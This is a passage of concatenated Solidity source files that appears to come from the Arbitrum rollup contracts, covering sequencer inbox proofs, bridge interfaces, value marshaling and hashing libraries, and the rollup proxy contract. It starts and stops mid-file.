inboxAccs.push(runningAcc);
messageCount = runningCount;
require(runningAcc == afterAcc, "AFTER_ACC");
}
function calcL2Batch(
uint256 beforeOffset,
uint256[] calldata lengths,
uint256 lengthsOffset,
uint256 itemCount,
bytes32 prefixHash,
uint256 beforeCount,
bytes32 beforeAcc
)
private
pure
returns (
bytes32 acc,
uint256 count,
uint256 offset
)
{
offset = beforeOffset;
count = beforeCount;
acc = beforeAcc;
itemCount += lengthsOffset;
for (uint256 i = lengthsOffset; i < itemCount; i++) {
uint256 length = lengths[i];
bytes32 messageDataHash;
assembly {
messageDataHash := keccak256(offset, length)
}
acc = keccak256(abi.encodePacked(acc, count, prefixHash, messageDataHash));
offset += length;
count++;
}
return (acc, count, offset);
}
// Precondition: _totalDelayedMessagesRead > totalDelayedMessagesRead
function includeDelayedMessages(
bytes32 acc,
uint256 count,
uint256 _totalDelayedMessagesRead,
uint256 l1BlockNumber,
uint256 timestamp,
bytes32 delayedAcc
) private returns (bytes32, uint256) {
require(_totalDelayedMessagesRead <= delayedInbox.messageCount(), "DELAYED_TOO_FAR");
require(delayedAcc == delayedInbox.inboxAccs(_totalDelayedMessagesRead - 1), "DELAYED_ACC");
acc = keccak256(
abi.encodePacked(
"Delayed messages:",
acc,
count,
totalDelayedMessagesRead,
_totalDelayedMessagesRead,
delayedAcc
)
);
count += _totalDelayedMessagesRead - totalDelayedMessagesRead;
bytes memory emptyBytes;
acc = keccak256(
abi.encodePacked(
acc,
count,
keccak256(abi.encodePacked(address(0), l1BlockNumber, timestamp)),
keccak256(emptyBytes)
)
);
count++;
totalDelayedMessagesRead = _totalDelayedMessagesRead;
return (acc, count);
}
/**
* @notice Prove message count as of provided inbox state hash
* @param proof proof data
* @param offset offset for parsing proof data
* @param inboxAcc target inbox state hash
*/
function proveSeqBatchMsgCount(
bytes calldata proof,
uint256 offset,
bytes32 inboxAcc
) internal pure returns (uint256, uint256) {
uint256 endMessageCount;
bytes32 buildingAcc;
uint256 seqNum;
bytes32 messageHeaderHash;
bytes32 messageDataHash;
(offset, buildingAcc) = Marshaling.deserializeBytes32(proof, offset);
(offset, seqNum) = Marshaling.deserializeInt(proof, offset);
(offset, messageHeaderHash) = Marshaling.deserializeBytes32(proof, offset);
(offset, messageDataHash) = Marshaling.deserializeBytes32(proof, offset);
buildingAcc = keccak256(
abi.encodePacked(buildingAcc, seqNum, messageHeaderHash, messageDataHash)
);
endMessageCount = seqNum + 1;
require(buildingAcc == inboxAcc, "BATCH_ACC");
return (offset, endMessageCount);
}
/**
* @notice Show that given messageCount falls inside of some batch and prove/return inboxAcc state. This is used to ensure that the creation of new nodes are replay protected to the state of the inbox, thereby ensuring their validity/invalidy can't be modified upon reorging the inbox contents.
* @dev (wrapper in leiu of proveBatchContainsSequenceNumber for sementics)
* @return (message count at end of target batch, inbox hash as of target batch)
*/
function proveInboxContainsMessage(bytes calldata proof, uint256 _messageCount)
external
view
override
returns (uint256, bytes32)
{
return proveInboxContainsMessageImp(proof, _messageCount);
}
// deprecated in favor of proveInboxContainsMessage
function proveBatchContainsSequenceNumber(bytes calldata proof, uint256 _messageCount)
external
view
returns (uint256, bytes32)
{
return proveInboxContainsMessageImp(proof, _messageCount);
}
function proveInboxContainsMessageImp(bytes calldata proof, uint256 _messageCount)
internal
view
returns (uint256, bytes32)
{
if (_messageCount == 0) {
return (0, 0);
}
(uint256 offset, uint256 targetInboxStateIndex) = Marshaling.deserializeInt(proof, 0);
uint256 messageCountAsOfPreviousInboxState = 0;
if (targetInboxStateIndex > 0) {
(offset, messageCountAsOfPreviousInboxState) = proveSeqBatchMsgCount(
proof,
offset,
inboxAccs[targetInboxStateIndex - 1]
);
}
bytes32 targetInboxState = inboxAccs[targetInboxStateIndex];
uint256 messageCountAsOfTargetInboxState;
(offset, messageCountAsOfTargetInboxState) = proveSeqBatchMsgCount(
proof,
offset,
targetInboxState
);
require(_messageCount > messageCountAsOfPreviousInboxState, "BATCH_START");
require(_messageCount <= messageCountAsOfTargetInboxState, "BATCH_END");
return (messageCountAsOfTargetInboxState, targetInboxState);
}
function getInboxAccsLength() external view override returns (uint256) {
return inboxAccs.length;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface ISequencerInbox {
event SequencerBatchDelivered(
uint256 indexed firstMessageNum,
bytes32 indexed beforeAcc,
uint256 newMessageCount,
bytes32 afterAcc,
bytes transactions,
uint256[] lengths,
uint256[] sectionsMetadata,
uint256 seqBatchIndex,
address sequencer
);
event SequencerBatchDeliveredFromOrigin(
uint256 indexed firstMessageNum,
bytes32 indexed beforeAcc,
uint256 newMessageCount,
bytes32 afterAcc,
uint256 seqBatchIndex
);
event DelayedInboxForced(
uint256 indexed firstMessageNum,
bytes32 indexed beforeAcc,
uint256 newMessageCount,
uint256 totalDelayedMessagesRead,
bytes32[2] afterAccAndDelayed,
uint256 seqBatchIndex
);
/// @notice DEPRECATED - look at IsSequencerUpdated for new updates
// event SequencerAddressUpdated(address newAddress);
event IsSequencerUpdated(address addr, bool isSequencer);
event MaxDelayUpdated(uint256 newMaxDelayBlocks, uint256 newMaxDelaySeconds);
/// @notice DEPRECATED - look at MaxDelayUpdated for new updates
// event MaxDelayBlocksUpdated(uint256 newValue);
/// @notice DEPRECATED - look at MaxDelayUpdated for new updates
// event MaxDelaySecondsUpdated(uint256 newValue);
function setMaxDelay(uint256 newMaxDelayBlocks, uint256 newMaxDelaySeconds) external;
function setIsSequencer(address addr, bool isSequencer) external;
function messageCount() external view returns (uint256);
function maxDelayBlocks() external view returns (uint256);
function maxDelaySeconds() external view returns (uint256);
function inboxAccs(uint256 index) external view returns (bytes32);
function getInboxAccsLength() external view returns (uint256);
function proveInboxContainsMessage(bytes calldata proof, uint256 inboxCount)
external
view
returns (uint256, bytes32);
/// @notice DEPRECATED - use isSequencer instead
function sequencer() external view returns (address);
function isSequencer(address seq) external view returns (bool);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface IBridge {
event MessageDelivered(
uint256 indexed messageIndex,
bytes32 indexed beforeInboxAcc,
address inbox,
uint8 kind,
address sender,
bytes32 messageDataHash
);
event BridgeCallTriggered(
address indexed outbox,
address indexed destAddr,
uint256 amount,
bytes data
);
event InboxToggle(address indexed inbox, bool enabled);
event OutboxToggle(address indexed outbox, bool enabled);
function deliverMessageToInbox(
uint8 kind,
address sender,
bytes32 messageDataHash
) external payable returns (uint256);
function executeCall(
address destAddr,
uint256 amount,
bytes calldata data
) external returns (bool success, bytes memory returnData);
// These are only callable by the admin
function setInbox(address inbox, bool enabled) external;
function setOutbox(address inbox, bool enabled) external;
// View functions
function activeOutbox() external view returns (address);
function allowedInboxes(address inbox) external view returns (bool);
function allowedOutboxes(address outbox) external view returns (bool);
function inboxAccs(uint256 index) external view returns (bytes32);
function messageCount() external view returns (uint256);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./Value.sol";
import "./Hashing.sol";
import "../libraries/BytesLib.sol";
library Marshaling {
using BytesLib for bytes;
using Value for Value.Data;
function deserializeHashPreImage(bytes memory data, uint256 startOffset)
internal
pure
returns (uint256 offset, Value.Data memory value)
{
require(data.length >= startOffset && data.length - startOffset >= 64, "too short");
bytes32 hashData;
uint256 size;
(offset, hashData) = extractBytes32(data, startOffset);
(offset, size) = deserializeInt(data, offset);
return (offset, Value.newTuplePreImage(hashData, size));
}
function deserializeInt(bytes memory data, uint256 startOffset)
internal
pure
returns (
uint256, // offset
uint256 // val
)
{
require(data.length >= startOffset && data.length - startOffset >= 32, "too short");
return (startOffset + 32, data.toUint(startOffset));
}
function deserializeBytes32(bytes memory data, uint256 startOffset)
internal
pure
returns (
uint256, // offset
bytes32 // val
)
{
require(data.length >= startOffset && data.length - startOffset >= 32, "too short");
return (startOffset + 32, data.toBytes32(startOffset));
}
function deserializeCodePoint(bytes memory data, uint256 startOffset)
internal
pure
returns (
uint256, // offset
Value.Data memory // val
)
{
uint256 offset = startOffset;
uint8 immediateType;
uint8 opCode;
Value.Data memory immediate;
bytes32 nextHash;
(offset, immediateType) = extractUint8(data, offset);
(offset, opCode) = extractUint8(data, offset);
if (immediateType == 1) {
(offset, immediate) = deserialize(data, offset);
}
(offset, nextHash) = extractBytes32(data, offset);
if (immediateType == 1) {
return (offset, Value.newCodePoint(opCode, nextHash, immediate));
}
return (offset, Value.newCodePoint(opCode, nextHash));
}
function deserializeTuple(
uint8 memberCount,
bytes memory data,
uint256 startOffset
)
internal
pure
returns (
uint256, // offset
Value.Data[] memory // val
)
{
uint256 offset = startOffset;
Value.Data[] memory members = new Value.Data[](memberCount);
for (uint8 i = 0; i < memberCount; i++) {
(offset, members[i]) = deserialize(data, offset);
}
return (offset, members);
}
function deserialize(bytes memory data, uint256 startOffset)
internal
pure
returns (
uint256, // offset
Value.Data memory // val
)
{
require(startOffset < data.length, "invalid offset");
(uint256 offset, uint8 valType) = extractUint8(data, startOffset);
if (valType == Value.intTypeCode()) {
uint256 intVal;
(offset, intVal) = deserializeInt(data, offset);
return (offset, Value.newInt(intVal));
} else if (valType == Value.codePointTypeCode()) {
return deserializeCodePoint(data, offset);
} else if (valType == Value.bufferTypeCode()) {
bytes32 hashVal;
(offset, hashVal) = deserializeBytes32(data, offset);
return (offset, Value.newBuffer(hashVal));
} else if (valType == Value.tuplePreImageTypeCode()) {
return deserializeHashPreImage(data, offset);
} else if (valType >= Value.tupleTypeCode() && valType < Value.valueTypeCode()) {
uint8 tupLength = uint8(valType - Value.tupleTypeCode());
Value.Data[] memory tupleVal;
(offset, tupleVal) = deserializeTuple(tupLength, data, offset);
return (offset, Value.newTuple(tupleVal));
}
require(false, "invalid typecode");
}
function extractUint8(bytes memory data, uint256 startOffset)
private
pure
returns (
uint256, // offset
uint8 // val
)
{
return (startOffset + 1, uint8(data[startOffset]));
}
function extractBytes32(bytes memory data, uint256 startOffset)
private
pure
returns (
uint256, // offset
bytes32 // val
)
{
return (startOffset + 32, data.toBytes32(startOffset));
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2020, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./ICloneable.sol";
contract Cloneable is ICloneable {
string private constant NOT_CLONE = "NOT_CLONE";
bool private isMasterCopy;
constructor() public {
isMasterCopy = true;
}
function isMaster() external view override returns (bool) {
return isMasterCopy;
}
function safeSelfDestruct(address payable dest) internal {
require(!isMasterCopy, NOT_CLONE);
selfdestruct(dest);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./RollupEventBridge.sol";
import "./RollupCore.sol";
import "./RollupLib.sol";
import "./INode.sol";
import "./INodeFactory.sol";
import "../challenge/IChallenge.sol";
import "../challenge/IChallengeFactory.sol";
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/IOutbox.sol";
import "../bridge/Messages.sol";
import "../libraries/ProxyUtil.sol";
import "../libraries/Cloneable.sol";
import "./facets/IRollupFacets.sol";
abstract contract RollupBase is Cloneable, RollupCore, Pausable {
// Rollup Config
uint256 public confirmPeriodBlocks;
uint256 public extraChallengeTimeBlocks;
uint256 public avmGasSpeedLimitPerBlock;
uint256 public baseStake;
// Bridge is an IInbox and IOutbox
IBridge public delayedBridge;
ISequencerInbox public sequencerBridge;
IOutbox public outbox;
RollupEventBridge public rollupEventBridge;
IChallengeFactory public challengeFactory;
INodeFactory public nodeFactory;
address public owner;
address public stakeToken;
uint256 public minimumAssertionPeriod;
uint256 public STORAGE_GAP_1;
uint256 public STORAGE_GAP_2;
uint256 public challengeExecutionBisectionDegree;
address[] internal facets;
mapping(address => bool) isValidator;
/// @notice DEPRECATED -- this method is deprecated but still mantained for backward compatibility
/// @dev this actually returns the avmGasSpeedLimitPerBlock
/// @return this actually returns the avmGasSpeedLimitPerBlock
function arbGasSpeedLimitPerBlock() external view returns (uint256) {
return avmGasSpeedLimitPerBlock;
}
}
contract Rollup is Proxy, RollupBase {
using Address for address;
constructor(uint256 _confirmPeriodBlocks) public Cloneable() Pausable() {
// constructor is used so logic contract can't be init'ed
confirmPeriodBlocks = _confirmPeriodBlocks;
require(isInit(), "CONSTRUCTOR_NOT_INIT");
}
function isInit() internal view returns (bool) {
return confirmPeriodBlocks != 0;
}
// _rollupParams = [ confirmPeriodBlocks, extraChallengeTimeBlocks, avmGasSpeedLimitPerBlock, baseStake ]
// connectedContracts = [delayedBridge, sequencerInbox, outbox, rollupEventBridge, challengeFactory, nodeFactory]
function initialize(
bytes32 _machineHash,
uint256[4] calldata _rollupParams,
address _stakeToken,
address _owner,
bytes calldata _extraConfig,
address[6] calldata connectedContracts,
address[2] calldata _facets,
uint256[2] calldata sequencerInboxParams
) public {
require(!isInit(), "ALREADY_INIT");
// calls initialize method in user facet
require(_facets[0].isContract(), "FACET_0_NOT_CONTRACT");
require(_facets[1].isContract(), "FACET_1_NOT_CONTRACT");
(bool success, ) = _facets[1].delegatecall(
abi.encodeWithSelector(IRollupUser.initialize.selector, _stakeToken)
);
require(success, "FAIL_INIT_FACET");
delayedBridge = IBridge(connectedContracts[0]);
sequencerBridge = ISequencerInbox(connectedContracts[1]);
outbox = IOutbox(connectedContracts[2]);
delayedBridge.setOutbox(connectedContracts[2], true);
rollupEventBridge = RollupEventBridge(connectedContracts[3]);
delayedBridge.setInbox(connectedContracts[3], true);
rollupEventBridge.rollupInitialized(
_rollupParams[0],
_rollupParams[2],
_owner,
_extraConfig
);
challengeFactory = IChallengeFactory(connectedContracts[4]);
nodeFactory = INodeFactory(connectedContracts[5]);
INode node = createInitialNode(_machineHash);
initializeCore(node);
confirmPeriodBlocks = _rollupParams[0];
extraChallengeTimeBlocks = _rollupParams[1];
avmGasSpeedLimitPerBlock = _rollupParams[2];
baseStake = _rollupParams[3];
owner = _owner;
// A little over 15 minutes
minimumAssertionPeriod = 75;
challengeExecutionBisectionDegree = 400;
sequencerBridge.setMaxDelay(sequencerInboxParams[0], sequencerInboxParams[1]);
// facets[0] == admin, facets[1] == user
facets = _facets;
emit RollupCreated(_machineHash);
require(isInit(), "INITIALIZE_NOT_INIT");
}
function postUpgradeInit() external {
// it is assumed the rollup contract is behind a Proxy controlled by a proxy admin
// this function can only be called by the proxy admin contract
address proxyAdmin = ProxyUtil.getProxyAdmin();
require(msg.sender == proxyAdmin, "NOT_FROM_ADMIN");
// this upgrade moves the delay blocks and seconds tracking to the sequencer inbox
// because of that we need to update the admin facet logic to allow the owner to set
// these values in the sequencer inbox
STORAGE_GAP_1 = 0;
STORAGE_GAP_2 = 0;
}
function createInitialNode(bytes32 _machineHash) private returns (INode) {
bytes32 state = RollupLib.stateHash(
RollupLib.ExecutionState(
0, // total gas used
_machineHash,
0, // inbox count
0, // send count
0, // log count
0, // send acc
0, // log acc
block.number, // block proposed
1 // Initialization message already in inbox
)
);
return
INode(
nodeFactory.createNode(
state,
0, // challenge hash (not challengeable)
0, // confirm data
0, // prev node
block.number // deadline block (not challengeable)
)
);
}
/**
* This contract uses a dispatch pattern from EIP-2535: Diamonds
* together with Open Zeppelin's proxy
*/
function getFacets() external view returns (address, address) {
return (getAdminFacet(), getUserFacet());
}
function getAdminFacet() public view returns (address) {
return facets[0];
}
function getUserFacet() public view returns (address) {
return facets[1];
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual override returns (address) {
require(msg.data.length >= 4, "NO_FUNC_SIG");
address rollupOwner = owner;
// if there is an owner and it is the sender, delegate to admin facet
address target = rollupOwner != address(0) && rollupOwner == msg.sender
? getAdminFacet()
: getUserFacet();
require(target.isContract(), "TARGET_NOT_CONTRACT");
return target;
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
library Messages {
function messageHash(
uint8 kind,
address sender,
uint256 blockNumber,
uint256 timestamp,
uint256 inboxSeqNum,
uint256 gasPriceL1,
bytes32 messageDataHash
) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
kind,
sender,
blockNumber,
timestamp,
inboxSeqNum,
gasPriceL1,
messageDataHash
)
);
}
function addMessageToInbox(bytes32 inbox, bytes32 message) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(inbox, message));
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
library Value {
uint8 internal constant INT_TYPECODE = 0;
uint8 internal constant CODE_POINT_TYPECODE = 1;
uint8 internal constant HASH_PRE_IMAGE_TYPECODE = 2;
uint8 internal constant TUPLE_TYPECODE = 3;
uint8 internal constant BUFFER_TYPECODE = TUPLE_TYPECODE + 9;
// All values received from clients will have type codes less than the VALUE_TYPE_COUNT
uint8 internal constant VALUE_TYPE_COUNT = TUPLE_TYPECODE + 10;
// The following types do not show up in the marshalled format and is
// only used for internal tracking purposes
uint8 internal constant HASH_ONLY = 100;
struct CodePoint {
uint8 opcode;
bytes32 nextCodePoint;
Data[] immediate;
}
struct Data {
uint256 intVal;
CodePoint cpVal;
Data[] tupleVal;
bytes32 bufferHash;
uint8 typeCode;
uint256 size;
}
function tupleTypeCode() internal pure returns (uint8) {
return TUPLE_TYPECODE;
}
function tuplePreImageTypeCode() internal pure returns (uint8) {
return HASH_PRE_IMAGE_TYPECODE;
}
function intTypeCode() internal pure returns (uint8) {
return INT_TYPECODE;
}
function bufferTypeCode() internal pure returns (uint8) {
return BUFFER_TYPECODE;
}
function codePointTypeCode() internal pure returns (uint8) {
return CODE_POINT_TYPECODE;
}
function valueTypeCode() internal pure returns (uint8) {
return VALUE_TYPE_COUNT;
}
function hashOnlyTypeCode() internal pure returns (uint8) {
return HASH_ONLY;
}
function isValidTupleSize(uint256 size) internal pure returns (bool) {
return size <= 8;
}
function typeCodeVal(Data memory val) internal pure returns (Data memory) {
if (val.typeCode == 2) {
// Map HashPreImage to Tuple
return newInt(TUPLE_TYPECODE);
}
return newInt(val.typeCode);
}
function valLength(Data memory val) internal pure returns (uint8) {
if (val.typeCode == TUPLE_TYPECODE) {
return uint8(val.tupleVal.length);
} else {
return 1;
}
}
function isInt(Data memory val) internal pure returns (bool) {
return val.typeCode == INT_TYPECODE;
}
function isInt64(Data memory val) internal pure returns (bool) {
return val.typeCode == INT_TYPECODE && val.intVal < (1 << 64);
}
function isCodePoint(Data memory val) internal pure returns (bool) {
return val.typeCode == CODE_POINT_TYPECODE;
}
function isTuple(Data memory val) internal pure returns (bool) {
return val.typeCode == TUPLE_TYPECODE;
}
function isBuffer(Data memory val) internal pure returns (bool) {
return val.typeCode == BUFFER_TYPECODE;
}
function newEmptyTuple() internal pure returns (Data memory) {
return newTuple(new Data[](0));
}
function newBoolean(bool val) internal pure returns (Data memory) {
if (val) {
return newInt(1);
} else {
return newInt(0);
}
}
function newInt(uint256 _val) internal pure returns (Data memory) {
return
Data(_val, CodePoint(0, 0, new Data[](0)), new Data[](0), 0, INT_TYPECODE, uint256(1));
}
function newHashedValue(bytes32 valueHash, uint256 valueSize)
internal
pure
returns (Data memory)
{
return
Data(
uint256(valueHash),
CodePoint(0, 0, new Data[](0)),
new Data[](0),
0,
HASH_ONLY,
valueSize
);
}
function newTuple(Data[] memory _val) internal pure returns (Data memory) {
require(isValidTupleSize(_val.length), "Tuple must have valid size");
uint256 size = 1;
for (uint256 i = 0; i < _val.length; i++) {
size += _val[i].size;
}
return Data(0, CodePoint(0, 0, new Data[](0)), _val, 0, TUPLE_TYPECODE, size);
}
function newTuplePreImage(bytes32 preImageHash, uint256 size)
internal
pure
returns (Data memory)
{
return
Data(
uint256(preImageHash),
CodePoint(0, 0, new Data[](0)),
new Data[](0),
0,
HASH_PRE_IMAGE_TYPECODE,
size
);
}
function newCodePoint(uint8 opCode, bytes32 nextHash) internal pure returns (Data memory) {
return newCodePoint(CodePoint(opCode, nextHash, new Data[](0)));
}
function newCodePoint(
uint8 opCode,
bytes32 nextHash,
Data memory immediate
) internal pure returns (Data memory) {
Data[] memory imm = new Data[](1);
imm[0] = immediate;
return newCodePoint(CodePoint(opCode, nextHash, imm));
}
function newCodePoint(CodePoint memory _val) private pure returns (Data memory) {
return Data(0, _val, new Data[](0), 0, CODE_POINT_TYPECODE, uint256(1));
}
function newBuffer(bytes32 bufHash) internal pure returns (Data memory) {
return
Data(
uint256(0),
CodePoint(0, 0, new Data[](0)),
new Data[](0),
bufHash,
BUFFER_TYPECODE,
uint256(1)
);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2020, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./Value.sol";
library Hashing {
using Hashing for Value.Data;
using Value for Value.CodePoint;
function keccak1(bytes32 b) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(b));
}
function keccak2(bytes32 a, bytes32 b) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(a, b));
}
function bytes32FromArray(
bytes memory arr,
uint256 offset,
uint256 arrLength
) internal pure returns (uint256) {
uint256 res = 0;
for (uint256 i = 0; i < 32; i++) {
res = res << 8;
bytes1 b = arrLength > offset + i ? arr[offset + i] : bytes1(0);
res = res | uint256(uint8(b));
}
return res;
}
/*
* !! Note that dataLength must be a power of two !!
*
* If you have an arbitrary data length, you can round it up with roundUpToPow2.
* The boolean return value tells if the data segment data[startOffset..startOffset+dataLength] only included zeroes.
* If pack is true, the returned value is the merkle hash where trailing zeroes are ignored, that is,
* if h is the smallest height for which all data[startOffset+2**h..] are zero, merkle hash of data[startOffset..startOffset+2**h] is returned.
* If all elements in the data segment are zero (and pack is true), keccak1(bytes32(0)) is returned.
*/
function merkleRoot(
bytes memory data,
uint256 rawDataLength,
uint256 startOffset,
uint256 dataLength,
bool pack
) internal pure returns (bytes32, bool) {
if (dataLength <= 32) {
if (startOffset >= rawDataLength) {
return (keccak1(bytes32(0)), true);
}
bytes32 res = keccak1(bytes32(bytes32FromArray(data, startOffset, rawDataLength)));
return (res, res == keccak1(bytes32(0)));
}
(bytes32 h2, bool zero2) =
merkleRoot(data, rawDataLength, startOffset + dataLength / 2, dataLength / 2, false);
if (zero2 && pack) {
return merkleRoot(data, rawDataLength, startOffset, dataLength / 2, pack);
}
(bytes32 h1, bool zero1) =
merkleRoot(data, rawDataLength, startOffset, dataLength / 2, false);
return (keccak2(h1, h2), zero1 && zero2);
}
function roundUpToPow2(uint256 len) internal pure returns (uint256) {
if (len <= 1) return 1;
else return 2 * roundUpToPow2((len + 1) / 2);
}
function bytesToBufferHash(
bytes memory buf,
uint256 startOffset,
uint256 length
) internal pure returns (bytes32) {
(bytes32 mhash, ) =
merkleRoot(buf, startOffset + length, startOffset, roundUpToPow2(length), true);
return keccak2(bytes32(uint256(123)), mhash);
}
function hashInt(uint256 val) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(val));
}
function hashCodePoint(Value.CodePoint memory cp) internal pure returns (bytes32) {
assert(cp.immediate.length < 2);
if (cp.immediate.length == 0) {
return
keccak256(abi.encodePacked(Value.codePointTypeCode(), cp.opcode, cp.nextCodePoint));
}
return
keccak256(
abi.encodePacked(
Value.codePointTypeCode(),
cp.opcode,
cp.immediate[0].hash(),
cp.nextCodePoint
)
);
}
function hashTuplePreImage(bytes32 innerHash, uint256 valueSize)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(uint8(Value.tupleTypeCode()), innerHash, valueSize));
}
function hash(Value.Data memory val) internal pure returns (bytes32) {
if (val.typeCode == Value.intTypeCode()) {
return hashInt(val.intVal);
} else if (val.typeCode == Value.codePointTypeCode()) {
return hashCodePoint(val.cpVal);
} else if (val.typeCode == Value.tuplePreImageTypeCode()) {
return hashTuplePreImage(bytes32(val.intVal), val.size);
} else if (val.typeCode == Value.tupleTypeCode()) {
Value.Data memory preImage = getTuplePreImage(val.tupleVal);
return preImage.hash();
} else if (val.typeCode == Value.hashOnlyTypeCode()) {
return bytes32(val.intVal);
} else if (val.typeCode == Value.bufferTypeCode()) {
return keccak256(abi.encodePacked(uint256(123), val.bufferHash));
} else {
require(false, "Invalid type code");
}
}
function getTuplePreImage(Value.Data[] memory vals) internal pure returns (Value.Data memory) {
require(vals.length <= 8, "Invalid tuple length");
bytes32[] memory hashes = new bytes32[](vals.length);
uint256 hashCount = hashes.length;
uint256 size = 1;
for (uint256 i = 0; i < hashCount; i++) {
hashes[i] = vals[i].hash();
size += vals[i].size;
}
bytes32 firstHash = keccak256(abi.encodePacked(uint8(hashes.length), hashes));
return Value.newTuplePreImage(firstHash, size);
}
}
// SPDX-License-Identifier: MIT
/*
* @title Solidity Bytes Arrays Utils
* @author Gonçalo Sá <[email protected]>
*
* @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity.
* The library lets you concatenate, slice and type cast bytes arrays both in memory and storage.
*/
pragma solidity ^0.6.11;
/* solhint-disable no-inline-assembly */
library BytesLib {
function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) {
require(_bytes.length >= (_start + 20), "Read out of bounds");
address tempAddress;
assembly {
tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
}
return tempAddress;
}
function toUint8(bytes memory _bytes, uint256 _start) internal pure returns (uint8) {
require(_bytes.length >= (_start + 1), "Read out of bounds");
uint8 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x1), _start))
}
return tempUint;
}
function toUint(bytes memory _bytes, uint256 _start) internal pure returns (uint256) {
require(_bytes.length >= (_start + 32), "Read out of bounds");
uint256 tempUint;
assembly {
tempUint := mload(add(add(_bytes, 0x20), _start))
}
return tempUint;
}
function toBytes32(bytes memory _bytes, uint256 _start) internal pure returns (bytes32) {
require(_bytes.length >= (_start + 32), "Read out of bounds");
bytes32 tempBytes32;
assembly {
tempBytes32 := mload(add(add(_bytes, 0x20), _start))
}
return tempBytes32;
}
}
/* solhint-enable no-inline-assembly */
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
